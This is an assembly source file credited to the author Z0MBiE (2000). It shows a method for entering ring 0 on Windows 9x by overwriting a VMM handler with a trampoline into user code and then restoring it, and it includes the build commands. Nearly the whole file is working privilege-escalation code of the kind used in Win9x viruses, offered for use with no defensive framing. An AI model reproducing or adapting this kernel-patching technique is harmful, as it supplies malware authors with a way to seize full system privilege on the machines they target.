| 
; entering ring-0 [under win9x] by splicing VMM.
; (x) 2000 Z0MBiE, http://z0mbie.cjb.net
; to compile:
;   tasm32.exe /ml /m /z 1.asm
;   tlink32.exe -x -c -Tpe -B:0x10000000 1.obj,,,import32.lib
patchaddr               equ     0C0001000h  ; адрес какого-то хандлера в VMM
                        p386
                        model   flat
                        jumps
                        .data
start:
                        int 3
                        fild    qword ptr ds:[patchaddr]
IFDEF CHECK_ALREDY
                        fild    qword ptr patchcode
                        fcomp
                        fstsw   ax
                        sahf
                        je      exit2md
ENDIF
                        fistp   qword ptr backup  ; save original data
                        fild    qword ptr patchcode
                        fistp   qword ptr ds:[patchaddr]
waitcycle:              cmp     r0flag, 0
                        je      waitcycle
exit2md:                ret
ring0proc:              int 3
; here DS/ES/FS/GS may be 0; no registers may be changed
                        fild    ss:backup
                        fistp   qword ptr ss:[patchaddr]
                        inc     ss:r0flag       ; to break waitcycle
                        push    patchaddr       ; back to handler
                        retn
patchcode               label   qword  ; code to be inserted to VMM's handler
                        db      68h
                        dd      ring0proc
                        ret
 ; WARNING.
 ; when our code is called from ring0, data vars such as 'backup' should be
 ; committed & accessible w/o troubles.
 ; so best is to put'em in the same page with our code.
 
backup                  dq      ?      ; original handler's data
r0flag                  db      0
                        end     start
                
                                       (x) Z0MBiE, http://z0mbie.cjb.net
                 |